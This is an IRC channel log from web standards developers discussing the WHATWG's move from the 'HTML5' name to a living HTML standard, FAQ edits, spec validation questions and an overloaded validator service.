- # [04:16] * Quits: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
- # [04:18] * Quits: oliverkierepka (~chatzilla@dsdf-4db52ac3.pool.mediaWays.net) (Remote host closed the connection)
- # [04:20] * bga_|away is now known as bga_
- # [04:22] * Quits: scherkus (~scherkus@74.125.59.76) (Ping timeout: 272 seconds)
- # [04:22] * Joins: scherkus (~scherkus@74.125.59.68)
- # [04:29] * Joins: micheil (~micheil@114.72.255.224)
- # [04:29] * Quits: Amorphous (jan@unaffiliated/amorphous) (Ping timeout: 272 seconds)
- # [04:31] * Joins: Serenalis (~Adium@c-68-36-137-243.hsd1.nj.comcast.net)
- # [04:31] * Quits: paul_irish (~paul_iris@67.218.109.13) (Remote host closed the connection)
- # [04:31] * Quits: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f) (Quit: Ex-Chat)
- # [04:34] <Serenalis> I just read the HTML is the new HTML5 blog post…and earlier today I saw the W3C announcement that they're launching a whole branding campaign around the term "HTML5." Doesn't this seem a bit inconsistent and divisive?
- # [04:35] <Hixie> the "HTML5" in the W3C logo effort and the WHATWG HTML spec aren't the same thing, so no
- # [04:35] * Quits: Jacky (40b44962@gateway/web/freenode/ip.64.180.73.98) (Ping timeout: 265 seconds)
- # [04:35] <Hixie> in fact that's one of the reasons we changed it, to avoid confusion
- # [04:37] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Quit: realityking)
- # [04:37] <Serenalis> There's already a great deal of confusion in the media and even among erudite web developers about what constitutes HTML5, and on that basis I agree with WHATWG's decision.
- # [04:38] <Hixie> cool
- # [04:38] <Serenalis> What concerns me is that just as web standards have finally reached a level of universal appeal and compliance, the two bodies that define them have gone in diametrically opposite directions with terminology (and to some extent, standards defining methodology).
- # [04:39] <Hixie> to be fair, the w3c hasn't changed direction
- # [04:39] <Hixie> and the whatwg changed direction last year (actually in late 2009), we just didn't change the name until today
- # [04:39] <Serenalis> Yes, true.
- # [04:40] <Hixie> in practice i don't think the directions are really incompatible -- we're still working together on the specs for example
- # [04:40] <wirepair> is there a page/blog/place one can get a definitive answer to all this inconsistency? wouldn't that help clear some things up?
- # [04:40] <Hixie> though i do think the w3c should join us in the version-less world :-)
- # [04:40] <Hixie> wirepair: i'm trying to update the faq, what question should i add? not sure what's unclear :-)
- # [04:40] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
- # [04:41] * Joins: fullroundaction (40968e8d@gateway/web/freenode/ip.64.150.142.141)
- # [04:41] <wirepair> how about... "The media seems really unclear on what HTML5 is and how it relates to newer web technology, what specificially designs HTML5 and how is it different than the whatwg HTML branding?"
- # [04:41] <wirepair> something like that ;)
- # [04:42] <bga_> s/version less/revision bases/ i guess
- # [04:42] <MikeSmith> Hixie: are e.g., dropzone="f:text/plain f:text/html" and dropzone="s:text/plain f:text/plain" meant to valid?
- # [04:42] <wirepair> err designates
- # [04:42] <Hixie> wirepair: let me update the current qs in the faq and then i'll ping you again and see if it answers the question
- # [04:42] <wirepair> oh i'm not saying i'm confused
- # [04:42] <wirepair> i'm saying the journalists are
- # [04:43] <wirepair> :)
- # [04:43] <wirepair> i think it's pretty simple tbh ehe
- # [04:43] * Joins: Amorphous (jan@unaffiliated/amorphous)
- # [04:43] <Hixie> wirepair: i'll ping you and you can see if you think they'll be less confused :-)
- # [04:43] <wirepair> sure :)
- # [04:44] <Hixie> MikeSmith: yes
- # [04:44] <MikeSmith> ok
- # [04:44] <MikeSmith> thanks
- # [04:44] <Hixie> MikeSmith: first one accepts text files and html files dragged in, second one accepts text selections dragged in and text files dragged in
- # [04:44] <fullroundaction> hey wait this isn't #nerdshitnoonecares about
- # [04:45] * Quits: fullroundaction (40968e8d@gateway/web/freenode/ip.64.150.142.141) (Client Quit)
- # [04:45] <Hixie> it isn't...? methinks he was lost.
- # [04:45] <MikeSmith> Hixie: I see -- thanks
- # [04:45] <MikeSmith> Hixie: no, clear to me know
- # [04:45] <MikeSmith> spec is clear
- # [04:46] * Joins: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e)
- # [04:46] <MikeSmith> Hixie: just trying to write the checker code for it
- # [04:48] * MikeSmith now realizes Hixie was replying to dude
- # [04:48] <Hixie> heh
- # [04:48] * Quits: benschwarz (~ben@59.167.185.148) (Quit: benschwarz)
- # [04:50] * Joins: benschwarz (~benschwar@59.167.185.148)
- # [04:50] <Serenalis> Are the WHATWG version of the HTML Living Standard and the W3C version of HTML5 always going to be consistent at least for the parts they have in common?
- # [04:51] <Serenalis> I understand that they're drawn from the same source document, but I'm also concerned that one or the other version may end up substantially different from the other due to this change in direction, and I wonder what this will mean for implementations in practice.
- # [04:51] <benschwarz> MikeSmith: :)
- # [04:53] * bga_ is now known as bga_|away
- # [04:53] <MikeSmith> benschwarz: ♨
- # [04:56] * Quits: jamesr_ (~jamesr@nat/google/x-okmzvfhoprxnaeoc) (Quit: jamesr_)
- # [04:58] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [04:59] * Quits: dave_levin (~dave_levi@nat/google/x-chsoidfomvymgxev) (Quit: dave_levin)
- # [04:59] * Quits: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com) (Ping timeout: 265 seconds)
- # [05:00] <Hixie> Serenalis: yes, they'll always be consistent (unless one goes way off the rails of course, but then that one will just be ignored)
- # [05:01] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Client Quit)
- # [05:03] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
- # [05:04] <Serenalis> Thanks for clearing that up, though I think that might be a useful FAQ entry for people who are very concerned on a practical level about writing standards-compliant code and especially convincing skeptical project managers about why that's both important and doable. :P
- # [05:10] * Quits: scherkus (~scherkus@74.125.59.68) (Read error: Operation timed out)
- # [05:10] * Joins: scherkus (~scherkus@74.125.59.76)
- # [05:12] * bga_|away is now known as bga_
- # [05:14] <Serenalis> Hixie, with HTML as a living standard, is the intent that the spec will drive implementations or that implementations will shape the spec?
- # [05:14] <Hixie> both
- # [05:14] <Hixie> in practice it's always been both for successful specs
- # [05:16] <nimbupani> http://omghtml5.com/post/2837210354/the-most-standards-compliant-html5-logo
- # [05:18] <Serenalis> Hixie: I agree. One of the biggest criticisms of W3C specs historically has been that they have been disconnected with reality. This Living Standard approach could fix that. Do you think there's a chance W3C will follow suit?
- # [05:20] <Serenalis> Also, by the way, sorry for barging in and demanding answers with no preamble! Thanks very much for taking the time to talk, I really do appreciate it.
- # [05:22] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
- # [05:24] * Joins: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f)
- # [05:28] <jacobolus> Serenalis: people who are concerned about writing compliant code are going to write code based on what is implemented in browsers, hopefully; making that be the same as the spec is (so far as I can tell) priority #1 for at least the WHATWG version
- # [05:28] <Hixie> Serenalis: happy to answer questions, sorry for the lag in my answers :-) (i'm editing the faq)
- # [05:28] <jacobolus> also, the people in here seem pretty friendly towards those of us who barge in and talk from time to time
- # [05:29] <Hixie> Serenalis: i don't know if the w3c will follow, but i really hope so
- # [05:29] <jacobolus> so don't worry about it, unless someone says otherwise
- # [05:29] <Hixie> Serenalis: it is unfortunately one of the most ingrained things at the w3c, so it might take a while
- # [05:29] * Joins: _bga (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
- # [05:31] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Ping timeout: 255 seconds)
- # [05:32] <Hixie> is there a better definition for namespaces than http://www.w3schools.com/xml/xml_namespaces.asp ?
- # [05:33] * Joins: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net)
- # [05:33] <nimbupani> :|
- # [05:34] <Serenalis> jacobolus: I agree completely. Thanks. :)
- # [05:35] <nimbupani> https://developer.mozilla.org/en/SVG:Namespaces_Crash_Course needs some copyediting
- # [05:37] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 255 seconds)
- # [05:38] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
- # [05:42] <Serenalis> Is the "What you can do" WHATWG wiki entry still current? I may be interested in getting involved once I get up to speed on the latest.
- # [05:42] <Serenalis> It'd be nice to contribute meaningfully rather than just asking questions.
- # [05:43] <Hixie> it's probably current
- # [05:44] <Hixie> haven't checked recently
- # [05:44] <Hixie> will do in a minute
- # [05:44] <Hixie> still editing the faq
- # [05:44] * Joins: cutepy (~quassel@110.225.111.33)
- # [05:44] <othermaciej> Hixie: looks like s/HTML5/HTML/ has been rather well received after all
- # [05:45] <Hixie> yeah, i'm shocked at how well it went
- # [05:45] <Hixie> honestly didn't expect it to be this good
- # [05:45] <cutepy> hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents.
- # [05:45] <cutepy> does anyone have any idea of how to program this
- # [05:45] <Hixie> i figured it'd be 50/50 at best and that people would come over in due course
- # [05:47] * _bga is now known as bga_|away
- # [05:50] <othermaciej> a handfull of people expressed dislike, in the comments I saw, but not very strongly even
- # [05:50] <Serenalis> once I understood the intent, my reaction was kind of like "thank god"
- # [05:50] <Serenalis> "someone actually is connected with reality finally"
- # [05:51] <Serenalis> (as an outsider :))
- # [05:51] <Serenalis> I understand WHATWG has been working this way for a while, but to go public with an announcement was great
- # [05:54] * Quits: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f) (Quit: Ex-Chat)
- # [05:54] * bga_|away is now known as bga_
- # [05:55] * Quits: karlcow (~karl@nerval.la-grange.net) (Quit: Freedom - to walk free and own no superior.)
- # [05:55] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [05:56] * Joins: evilandlazy (47e78d4c@gateway/web/freenode/ip.71.231.141.76)
- # [05:58] <evilandlazy> My daughter suggested a new logo for the living standard. Hope you like it: http://www.zazzle.com/html_no_5_logo_shirt-235649046014311218
- # [06:00] <Serenalis> haha nice
- # [06:00] <Serenalis> I'm going to go ahead and say for the record that I rather strongly dislike the new w3c logo.
- # [06:00] * Joins: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f)
- # [06:00] <bga_> roof of house
- # [06:01] <bga_> top view
- # [06:02] * Quits: micheil (~micheil@114.72.255.224) (Ping timeout: 276 seconds)
- # [06:02] * Joins: micheil (~micheil@114.72.255.224)
- # [06:02] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [06:03] * bga_ is now known as bga_|away
- # [06:03] * bga_|away is now known as bga_
- # [06:05] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Read error: Connection reset by peer)
- # [06:05] <Hixie> evilandlazy: nice
- # [06:05] * Joins: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [06:05] * Joins: 92AAB6VCH (~davidb@174.91.42.156)
- # [06:06] * Quits: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: Leaving.)
- # [06:08] <othermaciej> I miss the green stripe
- # [06:09] * Quits: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
- # [06:10] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
- # [06:10] * Quits: evilandlazy (47e78d4c@gateway/web/freenode/ip.71.231.141.76) (Quit: Page closed)
- # [06:10] <Duke___> Hixie: in home http://www.whatwg.org/ is correct HTML5 in section Specs?
- # [06:11] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Quit: inkbase)
- # [06:12] * Quits: daedb_ (~daed@78-72-108-100-no178.tbcn.telia.com) (Read error: Connection reset by peer)
- # [06:13] * Joins: daedb (~daed@78-72-108-100-no178.tbcn.telia.com)
- # [06:13] <othermaciej> whoah, someone might have just proved that P=NP
- # [06:14] <othermaciej> hide your kids, hide your wife, hide your public-key cryptosystems
- # [06:14] <othermaciej> http://romvf.wordpress.com/2011/01/19/open-letter/
- # [06:14] * Quits: cutepy (~quassel@110.225.111.33) (Quit: http://quassel-irc.org - Chat comfortably. Anywhere.)
- # [06:19] <Serenalis> Hixie: it was good to meet you; thanks for answering my questions. :) There may be more later! Good night all.
- # [06:20] * Parts: Serenalis (~Adium@c-68-36-137-243.hsd1.nj.comcast.net)
- # [06:24] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Quit: We love you, Dark Continent! Good night!)
- # [06:32] * Joins: apucacao (~apucacao@S010600226b6dbc54.vc.shawcable.net)
- # [06:43] * Quits: Duke___ (~duke@187.57.241.156) (Remote host closed the connection)
- # [06:45] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
- # [06:46] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
- # [06:57] * Quits: 92AAB6VCH (~davidb@174.91.42.156) (Quit: 92AAB6VCH)
- # [06:58] * Quits: jwalden (~waldo@nat/mozilla/x-cyyfraijbwqjnlyj) (Quit: later)
- # [07:01] * Quits: nattokirai (~nattokira@rtr.mozilla.or.jp) (Quit: nattokirai)
- # [07:01] * Joins: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net)
- # [07:01] * Joins: nattokirai (~nattokira@rtr.mozilla.or.jp)
- # [07:06] * Quits: sephr (~Eli@c-98-235-63-240.hsd1.pa.comcast.net) (Ping timeout: 240 seconds)
- # [07:06] <MikeSmith> ´/me wonders if Java has a simple way to tokenize a string and check if it has any duplicate tokens
- # [07:07] * Joins: micheil_mbp (~micheil@114.72.236.157)
- # [07:08] * Quits: micheil (~micheil@114.72.255.224) (Ping timeout: 240 seconds)
- # [07:08] * micheil_mbp is now known as micheil
- # [07:13] * Joins: mpt (~mpt@canonical/mpt)
- # [07:13] * Quits: mpt (~mpt@canonical/mpt) (Client Quit)
- # [07:21] * Quits: meledin (~vladi@f2.c7.5d45.static.theplanet.com) (Ping timeout: 240 seconds)
- # [07:22] * Joins: meledin (~vladi@f2.c7.5d45.static.theplanet.com)
- # [07:25] * Quits: Bass2 (Bass10@c-76-113-194-7.hsd1.mn.comcast.net) (Quit: Leaving)
- # [07:29] * Quits: espadrine (~espadrine@acces1296.res.insa-lyon.fr) (Ping timeout: 240 seconds)
- # [07:36] * Joins: tyoshino (~tyoshino@220.109.219.244)
- # [07:38] * Quits: davidwalsh (~davidwals@75-135-74-55.dhcp.mdsn.wi.charter.com) (Quit: davidwalsh)
- # [07:47] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying)
- # [07:53] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Quit: boaz)
- # [07:56] * Joins: maikmerten (~merten@ls5dhcp197.cs.uni-dortmund.de)
- # [07:57] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Quit: chriseppstein)
- # [07:58] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
- # [07:59] * fishd_ is now known as fishd
- # [07:59] * Joins: anttio (~anttio@huittinen.of.frantic.com)
- # [08:07] * Quits: apucacao (~apucacao@S010600226b6dbc54.vc.shawcable.net) (Quit: apucacao)
- # [08:13] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
- # [08:14] <hsivonen> Hixie: relevant to canvas a11y: https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/
- # [08:14] <Hixie> yeah i heard about that
- # [08:14] <Hixie> good news
- # [08:16] * Joins: MrOpposite (~mropposit@unaffiliated/mropposite)
- # [08:17] <Hixie> http://wiki.whatwg.org/wiki/FAQ is updated
- # [08:17] <Hixie> wirepair: ^
- # [08:17] <Hixie> bbl
- # [08:20] * Joins: rimantas (~rimliu@93.93.57.193)
- # [08:22] * Quits: frenzz (~frensys@85.142.208.25)
- # [08:23] * Quits: crash\ (bouncer@lubyte.de) (Ping timeout: 260 seconds)
- # [08:24] * Joins: crash\ (bouncer@lubyte.de)
- # [08:28] * Quits: MikeSmith (~MikeSmith@EM114-48-79-91.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
- # [08:33] * Joins: benschwarz (~benschwar@59.167.185.148)
- # [08:33] * Joins: MikeSmith (~MikeSmith@EM114-48-81-141.pool.e-mobile.ne.jp)
- # [08:36] * Joins: matjas (~matjas@91.182.211.157)
- # [08:39] * Quits: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net) (Remote host closed the connection)
- # [08:45] * Joins: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl)
- # [08:46] * Joins: tndH (~Rob@cpc15-seac19-2-0-cust232.7-2.cable.virginmedia.com)
- # [08:55] <MikeSmith> hsivonen: bugzilla.validator.nu appears to be down
- # [08:55] * Joins: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net)
- # [08:56] <hsivonen> MikeSmith: yeah. I go to sleep for a night and my Web sites drop off the Web :-(
- # [08:56] <MikeSmith> heh
- # [08:57] <MikeSmith> teenagers
- # [08:57] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
- # [08:57] * Joins: jamesr_ (~jamesr@173-164-251-190-SFBA.hfc.comcastbusiness.net)
- # [08:58] <hsivonen> MikeSmith: Someone was using the generic instance of Validator.nu too much
- # [08:59] <hsivonen> I need to figure out what to do about that
- # [08:59] <hsivonen> MikeSmith: anyway, bugzilla.validator.nu and hsivonen.iki.fi are now back
- # [09:00] <MikeSmith> cool, thanks
- # [09:02] <MikeSmith> hsivonen: don't currently have any rate limiting set up with iptables or whatever?
- # [09:02] <hsivonen> MikeSmith: no. I suck at this sysadmin stuff
- # [09:03] <MikeSmith> me too :)
- # [09:03] * Quits: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net) (Quit: mdelaney)
- # [09:03] <MikeSmith> something I'm glad I don't have to deal with
- # [09:05] <hsivonen> OK. I think I found the guilty IP address...
- # [09:06] <MikeSmith> hope it's not mine :)
- # [09:06] * MikeSmith is reading http://brendaneich.com/2011/01/harmony-of-my-dreams/
- # [09:07] * Joins: mhausenblas (~mhausenbl@wlan-nat.fwgal01.deri.ie)
- # [09:08] * Joins: mhausenblas_ (~mhausenbl@wg1-nat.fwgal01.deri.ie)
- # [09:10] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Remote host closed the connection)
- # [09:10] <hsivonen> ok. the validator is now back, too, with the resource-over-using IP address banned
- # [09:11] * Joins: pesla (~pesla@188.202.125.121)
- # [09:11] * Quits: pesla (~pesla@188.202.125.121) (Client Quit)
- # [09:12] <hsivonen> whoa! looks like something with a Yandex IP and a Yandex bot UA is disrespecting robots.txt!
- # [09:12] <hsivonen> (but that's not the cause of the DoS problem)
- # [09:12] * Quits: mhausenblas (~mhausenbl@wlan-nat.fwgal01.deri.ie) (Ping timeout: 250 seconds)
- # [09:12] * mhausenblas_ is now known as mhausenblas
- # [09:15] <othermaciej> I wonder why no one has decided that robots.txt must be replaced by some sort of robots.xml
- # [09:19] <hsivonen> othermaciej: I believe the has been a draft for XML-based discovery on robots.txt-like things, though
- # [09:19] <hsivonen> (I sent email to Yandex)
- # [09:20] * Joins: pesla (~pesla@188.202.125.121)
- # [09:20] <hsivonen> MikeSmith: it seems to me iptables is the wrong tool here and I should take the time to implement some kind of throttling in Validator.nu itself
- # [09:21] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying)
- # [09:21] <hsivonen> to dynamically detect IP numbers that make unreasonably frequent request to the Web service APIs
- # [09:22] * Quits: Sirisian (~Sirisian@resnet226-081.resnet.wmich.edu) (Ping timeout: 255 seconds)
- # [09:22] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [09:24] <MikeSmith> hsivonen: that'd be certainly be nice
- # [09:24] <MikeSmith> benefit others who run their own instances
- # [09:24] <MikeSmith> as a plus
- # [09:29] <wirepair> Hixie: looks good :)
- # [09:29] * Joins: zcorpan (~zcorpan@c-8d9ae355.410-6-64736c14.cust.bredbandsbolaget.se)
- # [09:29] <zcorpan> i like the full inline references in developers.whatwg.org
- # [09:31] <hsivonen> If the person who has written software in Ruby that hammers validator.nu with bursts of WWW::Mechanize traffic to the JSON-based Web service interface is reading the logs, please make your program sleep for a bit between validations as a courtesy to other users
- # [09:31] <zcorpan> although it could leave out the fluff and just have the link text in the references
- # [09:34] * Quits: pesla (~pesla@188.202.125.121) (Ping timeout: 272 seconds)
- # [09:34] <zcorpan> benschwarz: i'd prefer a bit darker gray for the examples
- # [09:35] <benschwarz> zcorpan: So would I :)
- # [09:35] <benschwarz> Its not quite right, I thought the examples would barely be used
- # [09:35] <benschwarz> I later discovered that they're *everywhere*
- # [09:35] <benschwarz> Its on my list, but perhaps an issue logged would stop people from telling me its wrong :)
- # [09:35] <benschwarz> Did you check the issues before asking?
- # [09:36] <zcorpan> nope :)
- # [09:36] <benschwarz> hmm. okay :)
- # [09:40] * Quits: nattokirai (~nattokira@rtr.mozilla.or.jp) (Quit: nattokirai)
- # [09:40] * Quits: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net) (Quit: sethladd)
- # [09:46] <zcorpan> Hixie: https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 applies to the normal multipage versions too
- # [09:47] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
- # [09:49] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [09:50] * Quits: anttio (~anttio@huittinen.of.frantic.com) (Ping timeout: 276 seconds)
- # [09:50] * Quits: anttio_ (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
- # [09:50] * Joins: anttio (~anttio@lapinjarvi.of.frantic.com)
- # [09:55] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
- # [09:55] * Joins: pesla (~pesla@188.202.125.121)
- # [10:00] * Quits: pesla (~pesla@188.202.125.121) (Remote host closed the connection)
- # [10:01] * Joins: pesla (~pesla@188.202.125.121)
- # [10:05] * Joins: ROBOd (~robod@109.96.237.140)
- # [10:06] * Joins: thiessenp (~thiessenp@changeme.ebuddy.com)
- # [10:07] <wirepair> hsivonen: are you sure someones not just abusing your validator as a proxy?
- # [10:07] <wirepair> i'm pretty sure i've said in this channel that the validators could easily be abused
- # [10:07] <wirepair> heh
- # [10:08] <thiessenp> Would anyone know what browser versions fully support HTML5 markup?
- # [10:16] * Joins: annevk (~annevk@5355737B.cm-6-6b.dynamic.ziggo.nl)
- # [10:18] * Joins: mokush (~quassel@188.24.42.111)
- # [10:19] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
- # [10:19] * Quits: anttio (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
- # [10:19] * anttio_ is now known as anttio
- # [10:20] <annevk> http://my.opera.com/c69/blog/html5-logo-is-ok -- haha
- # [10:20] * Quits: anttio (~anttio@lapinjarvi.of.frantic.com) (Read error: Connection reset by peer)
- # [10:20] * Joins: anttio_ (~anttio@lapinjarvi.of.frantic.com)
- # [10:26] <annevk> I approved a bunch more comments
- # [10:28] <annevk> even got a comment from Jukka K. Korpela
- # [10:29] <annevk> He thinks we are not making sense
- # [10:32] <annevk> We gained over 100 followers on twitter yesterday
- # [10:32] <annevk> Lets change names every week!
- # [10:35] <zcorpan> next up: DHTML Standard
- # [10:37] * Quits: Rik` (~Rik`@pha75-2-81-57-187-57.fbx.proxad.net) (Remote host closed the connection)
- # [10:38] <annevk> http://plasmasturm.org/log/trolliquette/
- # [10:38] <annevk> :)
- # [10:38] * Quits: anttio_ (~anttio@lapinjarvi.of.frantic.com) (Remote host closed the connection)
- # [10:38] * Joins: anttio (~anttio@huittinen.of.frantic.com)
- # [10:39] * annevk approves comment by foolip
- # [10:40] <annevk> I believe this is only for the first time people leave a comment
- # [10:40] <annevk> Maybe we could turn it off... I have only seen a couple bad comments and most got caught by the spam filter already.
- # [10:40] * Joins: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi)
- # [10:41] <foolip> hehe, at first I thought you meant "approves" as in "likes"
- # [10:42] <annevk> heh
- # [10:42] <hsivonen> do we have a canned answer for explaining why hasFeature and similar things by another name don't work?
- # [10:43] <zcorpan> foolip: he just concluded that you weren't a spammer, but still didn't like your comment at all
- # [10:44] * Joins: david_carlisle (~davidc@62.231.145.254)
- # [10:45] * Joins: arminbw (~armin@dhcp090.iguw.tuwien.ac.at)
- # [10:45] <hsivonen> wirepair: pretty sure. the script was POSTing the content it was validating instead of GETting it from elsewhere
- # [10:47] <annevk> http://omghtml5.com/ haha
- # [10:47] <hsivonen> thiessenp: no such browser
- # [10:48] <thiessenp> hsivonen: booo (thanks :)
- # [10:53] * Joins: benschwarz (~benschwar@59.167.185.148)
- # [10:53] * Joins: zum (~jsykari@xdsl-83-150-88-4.nebulazone.fi)
- # [10:53] <annevk> http://twitter.com/pornelski/status/27871749907423233 has a great theory: "WHATWG moves beyond "HTML5". That's probably just to keep HTML5-committed @IE a version behind again ;)"
- # [10:54] <zcorpan> "The hunt for the so-called “HTML5 team” is now underway, more information shortly. A deck of cards will be created for these villains as soon as we know who they are." http://omghtml5.com/post/2062326530/breaking-news-html5-breaks-web-on-purpose
- # [11:03] * Joins: Rik` (~Rik`@mozilla-paris-222-194.cnt.nerim.net)
- # [11:08] * Joins: davidhund_ (~davidhund@78-27-27-74.dsl.alice.nl)
- # [11:08] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Read error: Connection reset by peer)
- # [11:08] * davidhund_ is now known as davidhund
- # [11:09] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
- # [11:13] * Joins: workmad3 (~workmad3@cspool123.cs.man.ac.uk)
- # [11:17] * Joins: pesla_ (~pesla@188.202.125.121)
- # [11:17] * Quits: pesla (~pesla@188.202.125.121) (Read error: Operation timed out)
- # [11:18] * Quits: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no) (Quit: This computer has gone to sleep)
- # [11:18] * Quits: pesla_ (~pesla@188.202.125.121) (Remote host closed the connection)
- # [11:18] * Joins: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl)
- # [11:19] * Joins: pesla (~pesla@188.202.125.121)
- # [11:20] * Joins: erlehmann (~erlehmann@p5DDBBE41.dip.t-dialin.net)
- # [11:26] * Joins: jeremyselier (~Jeremy@pro75-4-82-238-200-10.fbx.proxad.net)
- # [11:29] * Joins: svl (~me@ip565744a7.direct-adsl.nl)
- # [11:31] <annevk> I installed a caching plugin by the way
- # [11:31] <annevk> The one that was most popular
- # [11:31] <annevk> Hopefully it works
- # [11:33] <annevk> we had over a 100 retweets btw
- # [11:33] <annevk> see http://twitoaster.com/country-in/whatwg/html-is-the-new-html5-—/
- # [11:34] <annevk> "This tweet received 111 twitter mentions (4 replies and 107 retweets) from 110 distinct twitter users. In addition to WHATWG followers, it has been read by 125,918 second-level followers (retweeters followers)."
- # [11:34] <annevk> "This conversation is linked to the Twitter India country."
- # [11:34] <annevk> lol
- # [11:36] <hsivonen> There's India and then there's Twitter India
- # [11:36] * Joins: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [11:37] * Joins: MrOpposite (~mropposit@unaffiliated/mropposite)
- # [11:37] * Joins: Lachy (~Lachlan@pat-tdc.opera.com)
- # [11:37] <erlehmann> lol one one eleven
- # [11:41] <annevk> wait, othermaciej points out an article that might suggest P=NP but wasn't there one already that proofed the opposite?
- # [11:42] <annevk> http://en.wikipedia.org/wiki/P_versus_NP_problem#Claimed_solutions ah, that was not accepted yet
- # [11:42] <othermaciej> annevk: that proof is not widely believed to be valid
- # [11:43] <annevk> s/yet//
- # [11:46] <jgraham> There is probably a strong correlation between the number of attempted proofs of a problem and its fame. P?=NP is such a famous problem that the density of claimed solutions in either direction is extremely high. Most pass right under the radar, but the internet is very good on picking up those with slightly above-average credibility
- # [11:46] <annevk> http://bit.ly/gR27Et - HTML LS
- # [11:47] <annevk> I sort of hope that term is not going to catch on :)
- # [11:47] <heycam> HTML, Immortal Edition
- # [11:50] <jgraham> HTML, God Mode
- # [11:50] <jgraham> The specification that cannot die
- # [11:50] <heycam> HTML iddqd?
- # [11:50] <zcorpan> HTML5 is idkfa
- # [11:51] * Quits: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Quit: Leaving...)
- # [11:52] <annevk> http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/ is not very positive overall
- # [11:55] <matjas> since when do we care what reddit thinks?
- # [11:56] <annevk> just interesting to see what the perception is
- # [11:57] <zcorpan> isn't reddit mostly not very positive?
- # [11:58] <Workshiva> It seems like the usual misunderstanding of how browser standards work
- # [11:58] * Joins: charlvn (~charlvn@41.0.48.93)
- # [11:59] <annevk> zcorpan, could be
- # [12:00] <annevk> overall this went really well I think
- # [12:03] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Ping timeout: 265 seconds)
- # [12:03] <Workshiva> "So yeah, will CSS3 become CSS now?"
- # [12:03] <Workshiva> That is actually a great example of how a version number is meaningless
- # [12:08] * Joins: Xano (~bart@524BF837.cm-4-4d.dynamic.ziggo.nl)
- # [12:11] <annevk> updated http://wiki.whatwg.org/wiki/WebAppsTweet to ignore typo and xref fixes
- # [12:13] * Joins: plomlompom (~plomlompo@i59F6C26C.versanet.de)
